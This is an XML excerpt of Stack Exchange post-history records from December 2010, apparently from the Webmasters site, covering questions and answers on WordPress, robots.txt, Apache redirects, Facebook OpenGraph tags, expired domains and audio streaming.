  <row Id="13332" PostHistoryTypeId="3" PostId="6649" RevisionGUID="8b5f2788-160d-47db-a0c0-db3aea383290" CreationDate="2010-12-12T23:47:50.800" UserDisplayName="nalroff" Text="&lt;php&gt;&lt;magento&gt;&lt;apache2&gt;" />
  <row Id="13333" PostHistoryTypeId="17" PostId="6649" RevisionGUID="fd5b5b68-5a21-4672-9997-04f487754c07" CreationDate="2010-12-13T03:46:07.797" UserId="-1" Comment="from http://stackoverflow.com/questions/4424803/new-hosting-on-magentopolis" Text="" />
  <row Id="13334" PostHistoryTypeId="2" PostId="6650" RevisionGUID="0f03606d-8279-4750-8452-a0740d8cb54f" CreationDate="2010-12-13T03:58:57.350" UserId="3514" Text="Use WordPress. You don't need anything other than what comes out of the box (unless you want a different theme, than you just need to upload it the /wp-content/themes directory)." />
  <row Id="13335" PostHistoryTypeId="6" PostId="6556" RevisionGUID="fa0df6b2-e8c8-466d-995c-4410ef663526" CreationDate="2010-12-13T04:53:28.173" UserId="3" Comment="edited tags" Text="&lt;seo&gt;&lt;title&gt;" />
  <row Id="13336" PostHistoryTypeId="2" PostId="6651" RevisionGUID="fba0b3f3-6a5f-4bc2-9a8e-52f384b5103a" CreationDate="2010-12-13T05:17:02.777" UserId="2829" Text="Normally you can get the name of the domain holder directly from a [whois lookup](http://whois.domaintools.com/autospell.com).  But in this case the resulting data is:&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    Domain Name: AUTOSPELL.COM&#xD;&#xA;    Registrar: TUCOWS INC.&#xD;&#xA;    Whois Server: whois.tucows.com&#xD;&#xA;    Referral URL: http://domainhelp.opensrs.net&#xD;&#xA;    Name Server: NS1.DSREDIRECTION.COM&#xD;&#xA;    Name Server: NS2.DSREDIRECTION.COM&#xD;&#xA;    Status: redemptionPeriod&#xD;&#xA;    Updated Date: 21-nov-2010&#xD;&#xA;    Creation Date: 12-oct-1998&#xD;&#xA;    Expiration Date: 11-oct-2010&#xD;&#xA;&#xD;&#xA;Which is interesting because the Status is &quot;redemptionPeriod&quot;.  This means that the previous domain holder has let their registration lapse, and they have a limited period to restore the domain.  I'm actually not sure when the clock starts ticking though.  My guess is that the Registar TUCOWS gave the holder a 40 day grace period before submitting the status change.  That would mean that domain would become available ~30 days from 21-Nov-2010.  &#xD;&#xA;&#xD;&#xA;The other interesting thing is the Registrar TUCOWS is domain wholesaler, not a retailer such as GoDaddy, so you can't get the domain directly from TUCOWS.  Their website recommends: &quot;... speak with your favourite Registration company to find out when a REDEMPTION PERIOD/PENDING DELETE RESTORABLE domain will be available for registration.&quot;  You should probably do that right away because there's a good chance the domain will be up for auction sometime between now and the end of the year." />
  <row Id="13337" PostHistoryTypeId="2" PostId="6652" RevisionGUID="4db1ec27-b431-47ab-8146-853587fa236b" CreationDate="2010-12-13T05:43:36.860" UserId="3748" Text="Ok, so here was my first question:  &#xD;&#xA;http://webmasters.stackexchange.com/questions/6499/how-do-i-allow-visitors-on-my-site-to-share-my-photos-on-their-facebook-news-feed&#xD;&#xA;&#xD;&#xA;After implementing it I realized what I really want is a link that uploads the image as a photo to their photo album.&#xD;&#xA;&#xD;&#xA;How would I got about getting an image on my site to upload to their photo album when they click on a facebook icon next to the image?&#xD;&#xA;&#xD;&#xA;Any thoughts at all are appreciated.&#xD;&#xA;&#xD;&#xA;Thank You.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13338" PostHistoryTypeId="1" PostId="6652" RevisionGUID="4db1ec27-b431-47ab-8146-853587fa236b" CreationDate="2010-12-13T05:43:36.860" UserId="3748" Text="how do I programmatically upload pictures to facebook?" />
  <row Id="13339" PostHistoryTypeId="3" PostId="6652" RevisionGUID="4db1ec27-b431-47ab-8146-853587fa236b" CreationDate="2010-12-13T05:43:36.860" UserId="3748" Text="&lt;html&gt;&lt;javascript&gt;&lt;facebook&gt;&lt;asp.net&gt;&lt;windows&gt;" />
  <row Id="13340" PostHistoryTypeId="2" PostId="6653" RevisionGUID="7677dfdd-872a-475c-bc79-4f77f6a5c352" CreationDate="2010-12-13T08:32:24.500" UserDisplayName="Peter V. Mørch" Text="On our site we have tables containing data. We like the column widths we get with a normal `table`, but we like the border-bottom of `td`s to stretch the entire width of the page like we get with CSS: `table { width:100% }`&#xD;&#xA;&#xD;&#xA;Is it possible to achieve the same column widths as with a normal (non-width-100%) table in a table where the border-bottom stretches the entire width?&#xD;&#xA;&#xD;&#xA;There are a few unsuccessful attempts at this [demo table widths page](http://www.morch.com/download/tableWidths.html).&#xD;&#xA;&#xD;&#xA;Btw, is there _a better way_ (tm) of showing HTML snippets than linking to an external page? I can show just source, but having HTML rendered too is _so_ illustrative." />
  <row Id="13341" PostHistoryTypeId="1" PostId="6653" RevisionGUID="7677dfdd-872a-475c-bc79-4f77f6a5c352" CreationDate="2010-12-13T08:32:24.500" UserDisplayName="Peter V. Mørch" Text="Tables: How to achieve &quot;normal&quot; td widths, but 100% table width?" />
  <row Id="13342" PostHistoryTypeId="3" PostId="6653" RevisionGUID="7677dfdd-872a-475c-bc79-4f77f6a5c352" CreationDate="2010-12-13T08:32:24.500" UserDisplayName="Peter V. Mørch" Text="&lt;html&gt;" />
  <row Id="13343" PostHistoryTypeId="5" PostId="6653" RevisionGUID="09758c43-4add-4f68-8f94-823e8d534b1c" CreationDate="2010-12-13T08:50:57.073" UserDisplayName="Peter V. Mørch" Comment="Moved the demo link closer to the top" Text="On our site we have tables containing data. We like the column widths we get with a normal `table`, but we like the border-bottom of `td`s to stretch the entire width of the page like we get with CSS: `table { width:100% }`, as can be seen on a [demo table widths page](http://www.morch.com/download/tableWidths.html).&#xD;&#xA;&#xD;&#xA;Is it possible to achieve the same column widths as with a normal (non-width-100%) table in a table where the border-bottom stretches the entire width?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Btw, is there _a better way_ (tm) of showing HTML snippets than linking to an external page? I can show just source, but having HTML rendered too is _so_ illustrative." />
  <row Id="13344" PostHistoryTypeId="5" PostId="6532" RevisionGUID="e86e5b07-1e7b-4c22-a560-839492e3da20" CreationDate="2010-12-13T09:06:49.340" UserId="3307" Comment="added 362 characters in body; added 41 characters in body" Text="[This site][1] gives Tumblrmap as a good example.&#xD;&#xA;&#xD;&#xA;**Edit:** as stated in the comic below this site is now dead.&#xD;&#xA;&#xD;&#xA;HOWEVER. It looks like Tumblr now has sitemaps. Go to http://site.tumblr.com/sitemap.xml &#xD;&#xA;&#xD;&#xA;On the site I checked ([http://kylewritescode.com][2]) it gave a URL to another page. I went to that page and the sitemap is there. However, I'm assuming that on most others the original page is the sitemap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tothepc.com/archives/generate-xml-sitemap-of-tumblr-blog-submit-to-google/&#xD;&#xA;  [2]: http://kylewritescode.com" />
  <row Id="13345" PostHistoryTypeId="2" PostId="6654" RevisionGUID="921dba9a-b1d3-45be-b21c-47aeedd16c13" CreationDate="2010-12-13T09:12:58.193" UserId="3856" Text="While the collection is not quite as extensive, you could try various categories in a [Wikimedia Commons image search][1] such as *illustrations* or *drawings* (or even *drawings by children* if that's more what you are after). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://commons.wikimedia.org/wiki/Category:Pictures_and_images" />
  <row Id="13346" PostHistoryTypeId="2" PostId="6655" RevisionGUID="f9d203bb-f491-4686-9997-3f15addd2594" CreationDate="2010-12-13T09:33:03.180" UserId="3393" Text="I'm managing a video blog.&#xD;&#xA;The blog contains a main youtube video on the homepage and several thumbnail images of other videos elsewhere.&#xD;&#xA;&#xD;&#xA;I have a share button for the main page and the single posts pages and have added opengraph to specify the used image.&#xD;&#xA;&#xD;&#xA;For some reason facebook ignores my opengraph image and uses othe images it finds in the page...&#xD;&#xA;&#xD;&#xA;the header looks like this: (for the homepage)&#xD;&#xA;&#xD;&#xA;        &lt;!-- Facebook Opengraph --&gt;&#xD;&#xA;    	&lt;meta property=&quot;fb:app_id&quot; content=&quot;155967927783206&quot; /&gt;&#xD;&#xA;    	&lt;meta property=&quot;og:url&quot; content=&quot;http://mttv.co.il/2010/12/%d7%9e%d7%a4%d7%92%d7%a9-%d7%a1%d7%99%d7%99%d7%a2%d7%95%d7%aa-%d7%92%d7%a0%d7%a0%d7%95%d7%aa-%d7%9c%d7%93%d7%95%d7%a8%d7%aa%d7%99%d7%94%d7%9d-1959-2010-%d7%91%d7%9e%d7%a2%d7%9c%d7%95%d7%aa/&quot;/&gt;&#xD;&#xA;    	&lt;meta property=&quot;og:title&quot; content=&quot;מפגש סייעות גננות לדורתיהם 1959-2010 במעלות&quot; /&gt;&#xD;&#xA;    &#xD;&#xA;    	&lt;meta property=&quot;og:description&quot; content=&quot;מפגש מיוחד של סייעות גננות במעלות לדורותיהם   משנת פעילות 1959 ועד 2010&#xD;&#xA;    אירגון  המפגש באחריות הגב' שוש דהן ונערך בחצר מוזיאון המייסדים  במעלות ע&amp;quot;ש יעקב חזן ז&amp;quot;ל&#xD;&#xA;    עריכה וצילום&#xD;&#xA;    שרביט שלמה&#xD;&#xA;    08.12.10 &#xD;&#xA;    &quot; /&gt;&#xD;&#xA;    	&lt;meta property=&quot;og:type&quot; content=&quot;article&quot; /&gt;&#xD;&#xA;    	&lt;meta property=&quot;og:image&quot; content=&quot;http://www.mttv.co.il/wp-content/uploads/2010/12/Gvi91UEjCAw_mid-135x77.jpg&quot; /&gt;&#xD;&#xA;&#xD;&#xA;The website address is: http://mttv.co.il&#xD;&#xA;&#xD;&#xA;Any help will be appreciated&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13347" PostHistoryTypeId="1" PostId="6655" RevisionGUID="f9d203bb-f491-4686-9997-3f15addd2594" CreationDate="2010-12-13T09:33:03.180" UserId="3393" Text="facebook share and opengraph" />
  <row Id="13348" PostHistoryTypeId="3" PostId="6655" RevisionGUID="f9d203bb-f491-4686-9997-3f15addd2594" CreationDate="2010-12-13T09:33:03.180" UserId="3393" Text="&lt;facebook&gt;" />
  <row Id="13349" PostHistoryTypeId="2" PostId="6656" RevisionGUID="88359250-f5a6-4add-9a32-266e1d136bf0" CreationDate="2010-12-13T09:58:16.523" UserId="576" Text="Google &amp; Yahoo let you specify filters to restrict image results to those that have CC licensing. &#xD;&#xA;&#xD;&#xA;I built a JavaScript-based [image meta-search app][1] that fetches images with liberal licensing. [Check it out][2]..&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mvark.blogspot.com/2010/04/image-meta-search-with-searchlite.html&#xD;&#xA;  [2]: http://www26.brinkster.com/mvark/codegallery/imagesearchlite.htm" />
  <row Id="13350" PostHistoryTypeId="2" PostId="6657" RevisionGUID="3a66cda3-a1be-4f98-8b3d-9b3da832b766" CreationDate="2010-12-13T09:59:28.557" UserId="3467" Text="If you set `td { white-space: nowrap }` the lines 'Foo Bar' and 'Hello World' will stay intact. Is this what you're after?&#xD;&#xA;" />
  <row Id="13355" PostHistoryTypeId="2" PostId="6659" RevisionGUID="6e51eb6e-a831-4c58-a5f8-d6ab14d7ce03" CreationDate="2010-12-13T11:10:29.087" UserId="3720" Text="What is the &quot;best&quot; setup for robots.txt?  &#xD;&#xA;I'm using the following permalink structure in Wordpress: `/%category%/%postname%/`.&#xD;&#xA;&#xD;&#xA;My robots.txt currently looks like this (copied from somewhere a long time ago):&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /cgi-bin&#xD;&#xA;    Disallow: /wp-admin&#xD;&#xA;    Disallow: /wp-includes&#xD;&#xA;    Disallow: /wp-content/plugins&#xD;&#xA;    Disallow: /wp-content/cache&#xD;&#xA;    Disallow: /wp-content/themes&#xD;&#xA;    Disallow: /trackback&#xD;&#xA;    Disallow: /comments&#xD;&#xA;    Disallow: /category/*/*&#xD;&#xA;    Disallow: */trackback&#xD;&#xA;    Disallow: */comments&#xD;&#xA;&#xD;&#xA; 1. I want my comments to be indext. So I can remove this, right?&#xD;&#xA; 2. Do I want to disallow indexing categories because of my permalinkstructure?&#xD;&#xA; 3. An article can have several tags and be in multiple categories. This may cause duplicates in google. How should I work around this?&#xD;&#xA;&#xD;&#xA;Would you change anything else here?" />
  <row Id="13356" PostHistoryTypeId="1" PostId="6659" RevisionGUID="6e51eb6e-a831-4c58-a5f8-d6ab14d7ce03" CreationDate="2010-12-13T11:10:29.087" UserId="3720" Text="What is a good robots.txt for WP ?" />
  <row Id="13357" PostHistoryTypeId="3" PostId="6659" RevisionGUID="6e51eb6e-a831-4c58-a5f8-d6ab14d7ce03" CreationDate="2010-12-13T11:10:29.087" UserId="3720" Text="&lt;wordpress&gt;&lt;robots.txt&gt;" />
  <row Id="13358" PostHistoryTypeId="2" PostId="6660" RevisionGUID="b3c6d1ae-2b08-4724-b804-c1c99018c09d" CreationDate="2010-12-13T11:27:48.243" UserDisplayName="Adam Clark" Text="Greetings Friends,&#xD;&#xA;&#xD;&#xA;Is there a standard set of downloadable styles that I can overlay on my graphics to simulate the various types of colour-blindness? Ideally for Photoshop or Fireworks.&#xD;&#xA;&#xD;&#xA;Many thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13359" PostHistoryTypeId="1" PostId="6660" RevisionGUID="b3c6d1ae-2b08-4724-b804-c1c99018c09d" CreationDate="2010-12-13T11:27:48.243" UserDisplayName="Adam Clark" Text="Colour Blindness Filters" />
  <row Id="13360" PostHistoryTypeId="3" PostId="6660" RevisionGUID="b3c6d1ae-2b08-4724-b804-c1c99018c09d" CreationDate="2010-12-13T11:27:48.243" UserDisplayName="Adam Clark" Text="&lt;accessibility&gt;" />
  <row Id="13361" PostHistoryTypeId="2" PostId="6661" RevisionGUID="ee46b766-ea53-4e53-86a0-8c1ffd618dce" CreationDate="2010-12-13T11:37:25.920" UserId="1424" Text="Do you know any research paper about spatial data mining algorithms to retrieve trends about local business services (such as google places.. etc)&#xD;&#xA;&#xD;&#xA;let's say most rated restaurants this week.. etc ?&#xD;&#xA;&#xD;&#xA;I need scientific material about it.&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="13362" PostHistoryTypeId="1" PostId="6661" RevisionGUID="ee46b766-ea53-4e53-86a0-8c1ffd618dce" CreationDate="2010-12-13T11:37:25.920" UserId="1424" Text="Spatial data mining algorithms about local business web services ?" />
  <row Id="13363" PostHistoryTypeId="3" PostId="6661" RevisionGUID="ee46b766-ea53-4e53-86a0-8c1ffd618dce" CreationDate="2010-12-13T11:37:25.920" UserId="1424" Text="&lt;web-services&gt;&lt;map&gt;" />
  <row Id="13364" PostHistoryTypeId="2" PostId="6662" RevisionGUID="93cecf6e-e675-4aea-9cef-a7189cda9d30" CreationDate="2010-12-13T12:03:09.227" UserId="2011" Text="AFAIK, you cannot upgrade from 5 to 7 in one step. You will have to upgrade to the latest version of D6 first and then upgrade to D7. &#xD;&#xA;&#xD;&#xA;With every major version of Drupal, the API changes and contributed modules come and go. That makes upgrading a more difficult task than simply replacing files and running update.php. You will sometimes have to choose which contributed modules you're going to upgrade to, and if you have custom code (modules and/or themes) you will have to adapt it. If you're upgrading from 5 to 7, you need go through that process twice.&#xD;&#xA;&#xD;&#xA;Depending on your site and the amount of content and settings you have stored in your database, it may be easier for you to build your D7 site from scratch and then import your existing content using [Migrate module][1].&#xD;&#xA;&#xD;&#xA;Of course, regardless of the method you choose: backup, backup, backup before you do anything.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/migrate" />
  <row Id="13365" PostHistoryTypeId="2" PostId="6663" RevisionGUID="29859f29-2266-4731-a957-4d2ee19c18ab" CreationDate="2010-12-13T11:57:33.713" UserDisplayName="Radek" Text="I need to publish a audio file that I want to make available to&#xD;&#xA;&#xD;&#xA;- listen and&#xD;&#xA;- not to download&#xD;&#xA;&#xD;&#xA;any idea how to do it?&#xD;&#xA;&#xD;&#xA;Something where user cannot save the audo using any webbrowser plugin like DownloadHelper etc." />
  <row Id="13366" PostHistoryTypeId="1" PostId="6663" RevisionGUID="29859f29-2266-4731-a957-4d2ee19c18ab" CreationDate="2010-12-13T11:57:33.713" UserDisplayName="Radek" Text="audio streaming that cannot be saved?" />
  <row Id="13367" PostHistoryTypeId="3" PostId="6663" RevisionGUID="29859f29-2266-4731-a957-4d2ee19c18ab" CreationDate="2010-12-13T11:57:33.713" UserDisplayName="Radek" Text="&lt;download&gt;&lt;streaming&gt;" />
  <row Id="13368" PostHistoryTypeId="17" PostId="6663" RevisionGUID="2824bb2a-546b-41c3-9c16-39f017243d30" CreationDate="2010-12-13T12:08:13.423" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/10281/audio-streaming-that-cannot-be-saved" Text="" />
  <row Id="13374" PostHistoryTypeId="2" PostId="6666" RevisionGUID="b322b028-c2e4-47fc-abd6-959e75b3196e" CreationDate="2010-12-13T13:48:53.083" UserId="1459" Text="I was wondering is there any free google analytics tool, which I can detect my visitor IP address? I try to use statcounter, but they are only limit the log to 500 entries.&#xD;&#xA;&#xD;&#xA;The reason I ask, because I want to detect Adsense click fraud activity on my web site.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="13375" PostHistoryTypeId="1" PostId="6666" RevisionGUID="b322b028-c2e4-47fc-abd6-959e75b3196e" CreationDate="2010-12-13T13:48:53.083" UserId="1459" Text="Google Analytics Liked Tool to Detect Visitor IP Address" />
  <row Id="13376" PostHistoryTypeId="3" PostId="6666" RevisionGUID="b322b028-c2e4-47fc-abd6-959e75b3196e" CreationDate="2010-12-13T13:48:53.083" UserId="1459" Text="&lt;google-analytics&gt;" />
  <row Id="13379" PostHistoryTypeId="2" PostId="6667" RevisionGUID="f7221c55-cf70-4fd2-8a84-74e4542777ae" CreationDate="2010-12-13T14:09:21.790" UserId="2293" Text="http://colorschemedesigner.com/" />
  <row Id="13380" PostHistoryTypeId="5" PostId="6541" RevisionGUID="6338ce87-741f-45f4-8f5d-419ee8513009" CreationDate="2010-12-13T14:39:12.260" UserId="3720" Comment="added info" Text="**Something is seriously wrong after I updated my site with new templates, moved to a new server and started writing on English rather than Norwegian.**&#xD;&#xA;______________&#xD;&#xA;&#xD;&#xA;I know from Google Analytics, that most of my readers comes from Google.&#xD;&#xA;&#xD;&#xA;I do a quick test by googling (google.no) `Oslo Fashion Fair 2009`. This is the name of the article and is the title of my page. ( &#xD;&#xA;http://www.google.no/search?hl=no&amp;q=Oslo+Fashion+Fair+2009&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai= )&#xD;&#xA;&#xD;&#xA;The page that I trying to find is this: http://www.norwegianfashion.no/news/oslo-fashion-fair-2009/&#xD;&#xA;&#xD;&#xA;This used to be one of the first pages in Google. Now you don't see my site until Page 4, and that is a link to something completely different.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On page 4 in the google search, you see this:&#xD;&#xA;&#xD;&#xA;&gt; Designere - Norwegian Fashion   &#xD;&#xA;&gt; Norske designere Når man tenker fashion,tenker de fleste på designere som Yves&#xD;&#xA;&gt; Saint ...  &#xD;&#xA;&gt; Fashion Week Guide 16-22 august 2010 · Oslo Fashion Fair 2009 ...  &#xD;&#xA;&gt; www.norwegianfashion.no/blog/designere&#xD;&#xA;&#xD;&#xA;There are a few problems with this:&#xD;&#xA;&#xD;&#xA; 1. The headline says `Designere - Norwegian Fashion`. I no longer have a page called `Designere`. It's now called [Designers][1].&#xD;&#xA;&#xD;&#xA; 2. The link points to `www.norwegianfashion.no/blog/designere`. But I've never had that a URL with that name. The page does not exist.&#xD;&#xA;&#xD;&#xA; 3. When you click the link, a completely different page opens.&#xD;&#xA;&#xD;&#xA;I also noticed that I ahve lost Page Rank. My Page-RAnk add-on in Firefox will no longer rate my site, and Googles own Page Rank checker can't check my site for page ranking.&#xD;&#xA;&#xD;&#xA;**So what kind of SEO have I done?**  &#xD;&#xA;&#xD;&#xA;1. I've put the `&lt;title&gt;` tag at the top, followed by the meta tags `&lt;description&gt;` and `Keywords`&#xD;&#xA;&#xD;&#xA;2. For new pages, I use my intro texst in the description field.&#xD;&#xA;&#xD;&#xA;3. I've made sure to use appropriate H1 - H3 tags&#xD;&#xA;&#xD;&#xA;4. I've got relative content in headline vs intro and main body text, as well as appropriate keywords.&#xD;&#xA;&#xD;&#xA;5. I've added my site to Google&#xD;&#xA;&#xD;&#xA;6. I've used Google Webmaster Tools to optimize my site&#xD;&#xA;&#xD;&#xA;7. I've added a sitemap.xml &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't know why I'm suddenly not being indexed by any search engines. What have I done wrong?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Using Google Webmaster tool, I can see issues Google encountered when crawling my site. Thre are a lot of `404 Page not found` errors.&#xD;&#xA;&#xD;&#xA;**Example of 404 errors:**  &#xD;&#xA;http://www.norwegianfashion.no/2009/nyhetsarkiv   &#xD;&#xA;`nyhetsarkiv` is now called `news`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://www.norwegianfashion.no/author/marianne  &#xD;&#xA;I have deleted marianne ase user in Wordpress. This author do not exists any more&#xD;&#xA;&#xD;&#xA;http://www.norwegianfashion.no/category/fashion-report/page/40/  &#xD;&#xA;Not sure what this is. I'v enever used this permalink structure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.norwegianfashion.no/designers/" />
  <row Id="13381" PostHistoryTypeId="2" PostId="6668" RevisionGUID="d1bb730d-aa0f-4d37-bfcf-ca3688f1108c" CreationDate="2010-12-13T14:41:07.733" UserId="3778" Text="I see you as having one real option: Register the name at a company that specializes in &quot;grabbing&quot; expired names as soon as they become available. I've used snapnames.com for this, but there are others. Basically, you &quot;bid&quot; on the name, Snapnames (or whatever service you choose) tries to grab it for you, and if no one else knows about it and wants it, then you can get it for $60.&#xD;&#xA;&#xD;&#xA;The Tucows Site says not to contact them if you're not the owner, so I don't see any other option.&#xD;&#xA;http://www.tucowsdomains.com/whois-use-and-information/what-does-redemptionperiod-or-pending-delete-restorable-mean/&#xD;&#xA;" />
  <row Id="13382" PostHistoryTypeId="2" PostId="6669" RevisionGUID="1c9f2ec5-8ce7-4ac7-9439-8812cf29416b" CreationDate="2010-12-13T14:41:24.037" UserId="1757" Text="You can look at your web server logs to see all page requests and the associated IP address. And most log analyzers will also tell you how many unique visitors (by IP) you have. But I don't know what you hope to achieve. [Google already tracks click fraud][1] by IP address and other factors. So I don't think you'll be able to detect click fraud that Google hasn't already caught, especially if you don't have any expertise in web analytics.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.suite101.com/content/what-is-click-fraud-a124697" />
  <row Id="13383" PostHistoryTypeId="2" PostId="6670" RevisionGUID="cc547b9d-4188-412d-a411-5c7d5237d030" CreationDate="2010-12-13T15:23:11.100" UserId="3562" Text="1. You should be safe to remove the */comments line if you want to index comments.&#xD;&#xA;2. From what I've experienced, categories are definitely good to index.  I would not disallow them.&#xD;&#xA;3. Google should handle it.  Check to see if pages you know could be duplicates have the &quot;canonical&quot; tag on them, which identifies the page as a unique resource.  If you have duplicate content on these pages you could configure the plugin &quot;All in one SEO pack&quot; to probably take it off those pages: http://wordpress.org/extend/plugins/all-in-one-seo-pack/" />
  <row Id="13384" PostHistoryTypeId="2" PostId="6671" RevisionGUID="8c339792-a545-410c-90c8-e33a4d32f531" CreationDate="2010-12-13T15:25:49.317" UserId="3535" Text="Like the other answer said, keep in mind that they (or someone they know) may have been the original developer. If it's really outdated the owner probably thinks the site isn't worth the trouble...it probably isn't winning them any business, and never did which would explain why it's been left in poor shape. Convincing them that a properly built site can win them business will be an uphill battle at this point. " />
  <row Id="13385" PostHistoryTypeId="2" PostId="6672" RevisionGUID="deb075f2-9e3f-4bc8-b465-47a1fccf6ba7" CreationDate="2010-12-13T15:26:43.623" UserId="3562" Text="If you're using a blog with a smallish amount of content pages and a large amount of blog updates use Wordpress.  If you're looking for increased functionality with lots of unique feature requirements then you might want to look at Drupal." />
  <row Id="13386" PostHistoryTypeId="2" PostId="6673" RevisionGUID="0a75159f-8e94-4490-a345-753ba372d217" CreationDate="2010-12-13T15:35:52.760" UserId="3718" Text="From experience, WordPress is by far the easiest to use but is more prone to spam attacks. Drupal on the other hand is more robust, has a large community and various plugins etc like Wordpress. But Drupal is far harder to customise design wise than WordPress.&#xD;&#xA;&#xD;&#xA;If it's just a blog site as you say it is, I'd go for WordPress, especially as you have the option of hosting it with WordPress rather than on your own server (if you havent got one)." />
  <row Id="13387" PostHistoryTypeId="5" PostId="6574" RevisionGUID="835d3ced-1cd6-416f-832d-ed5d8ad24187" CreationDate="2010-12-13T15:49:53.550" UserId="233" Comment="added 790 characters in body" Text="When I search for the exact URL, the page does not come up in Google, which means it is not indexed yet.&#xD;&#xA;&#xD;&#xA;When you changed the templates and language, did the URLs change? If so then Google simply has not found the new page yet. The old page has gone so it was removed from the search results. What you need to do in that case is create a 301 Redirect from the old URL to the new one, `/news/oslo-fashion-fair-2009/` then any links coming into the old page will redirect to the new one and pass on the &quot;ranking&quot;.&#xD;&#xA;&#xD;&#xA;Make sure to sign up for [Google Webmaster Tools][1]; you will be able to see all the pages that Google cannot find on your site. Set up 301 redirects for all appropriate pages.&#xD;&#xA;&#xD;&#xA;Addition re comments: if only parts of URLs have changed you can use Apache's RewriteRule to make generic rules. This will massively cut down on how much you need in the htaccess. Here's an example that would redirect all the news URLs:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule ^nyhetsarkiv/([^/]+)/$ news/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;So `nyhetsarkiv/oslo-fashion-fair-2009/` would be redirected to `news/oslo-fashion-fair-2009/`.&#xD;&#xA;&#xD;&#xA;Unfortunately, if all the article titles changed as well, there is nothing you can do apart from individual redirects. Don't forget this isn't just for search engines - if users follow a link to a broken page they'll almost certainly press the back button. Redirecting is the only feasible way to let search engines and users alike know where the page has moved to!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/" />
  <row Id="13388" PostHistoryTypeId="2" PostId="6674" RevisionGUID="1627b056-3be4-4c34-b0f9-f7680b1636c6" CreationDate="2010-12-13T15:51:11.310" UserId="3863" Text="The only option I know that is resistant to header snooping (DownloadHelper, Live HTTP headers, etc) is by using RTMP streams, which is a true stream rather then a play-as-you-download stream.&#xD;&#xA;- en.wikipedia.org/wiki/Real_Time_Messaging_Protocol&#xD;&#xA;&#xD;&#xA;I don't have any experience in deploying rtmp myself, but I know there are multiple solutions out there for playing, like flowplayer:&#xD;&#xA;http://flowplayer.org/demos/plugins/streaming/multiple-rtmp.html&#xD;&#xA;&#xD;&#xA;I know MySpace switched all their artist playlists to rtmp and it's kept basically everyone out - although we can always record the output of the player using desktop software like Audio Hijack Pro:&#xD;&#xA;&#xD;&#xA;www.rogueamoeba.com/audiohijackpro/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;All this being said, I have seen a commandline rtmp stream ripper, but never got it to work. In the end the best protection is minimum quality rtmp streams.&#xD;&#xA;&#xD;&#xA;Hope this helps!" />
  <row Id="13391" PostHistoryTypeId="5" PostId="6631" RevisionGUID="6402ccf5-d54d-41e0-980d-dd08adba9312" CreationDate="2010-12-13T16:12:02.240" UserId="3467" Comment="added 95 characters in body" Text="**update**&#xD;&#xA;&#xD;&#xA;    RewriteCond !-d&#xD;&#xA;    RewriteRule ^(.*)/$ ?page=$1 [NC,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_URI} !index.php&#xD;&#xA;    RewriteRule ^(.*)$ ?page=$1 [NC,L]&#xD;&#xA;&#xD;&#xA;This first rewrites urls with a slash, but only if it's not an existing directory.&#xD;&#xA;&#xD;&#xA;If that's not found it rewrites urls without a slash (but only if it's not index.php, so already rewritten urls are ignored).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13393" PostHistoryTypeId="2" PostId="6677" RevisionGUID="36acbac5-ccfd-4970-81c9-22717cacd6ec" CreationDate="2010-12-13T17:03:46.410" UserId="1064" Text="That is a *really* specific question - your best bet would be to inquire directly with [people who specialize in spatial data mining][1] and possibly with companies which provide local business/restaurant data to see what's out there.&#xD;&#xA;&#xD;&#xA;(Note that sites like [Yelp][2] and [Google Places][3] have API's which might come in handy if you plan to conduct any original research)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.academia.edu/People/Spatial_Data_Mining_Data_Mining_&#xD;&#xA;  [2]: http://www.yelp.com/developers/documentation&#xD;&#xA;  [3]: http://code.google.com/apis/maps/documentation/places/" />
  <row Id="13395" PostHistoryTypeId="2" PostId="6678" RevisionGUID="40529180-93ac-4fb3-8cfd-88080707dae5" CreationDate="2010-12-13T17:21:41.107" UserId="3866" Text="Just wanted to know if there is an online tool that shows a website most popular pages from highest to least." />
  <row Id="13396" PostHistoryTypeId="1" PostId="6678" RevisionGUID="40529180-93ac-4fb3-8cfd-88080707dae5" CreationDate="2010-12-13T17:21:41.107" UserId="3866" Text="View competitors popular web pages " />
  <row Id="13397" PostHistoryTypeId="3" PostId="6678" RevisionGUID="40529180-93ac-4fb3-8cfd-88080707dae5" CreationDate="2010-12-13T17:21:41.107" UserId="3866" Text="&lt;traffic&gt;&lt;seo-software&gt;" />
  <row Id="13398" PostHistoryTypeId="2" PostId="6679" RevisionGUID="8ca08e1f-66df-48dd-9a7e-0939563094b5" CreationDate="2010-12-13T17:36:21.073" UserId="3867" Text="Here is an article which discusses this issue and has a few options:&#xD;&#xA;&#xD;&#xA;http://css-tricks.com/accessibility-basics-testing-your-page-for-color-blindness/" />
